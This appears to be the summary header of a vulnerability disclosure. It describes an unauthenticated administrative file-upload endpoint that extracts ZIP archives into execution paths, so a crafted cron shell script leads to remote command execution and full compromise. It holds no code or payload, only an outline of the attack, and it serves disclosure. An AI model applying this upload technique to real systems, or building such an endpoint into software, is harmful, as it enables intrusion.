    [+] Summary    : An unauthenticated file upload vulnerability was identified in the administrative file upload endpoint. 
                     The application accepts ZIP archives without authenticationand extracts files into sensitive execution paths.
                     An attacker can craft a ZIP archive containing a modified cron shell script
                     and upload it to the vulnerable endpoint, leading to arbitrary command execution.
    
    [+] Impact:
    
    - Remote Command Execution
    - Privilege Escalation
    - Full System Compromise
    
    [+] Attack Vector:
    
    Remote / Network
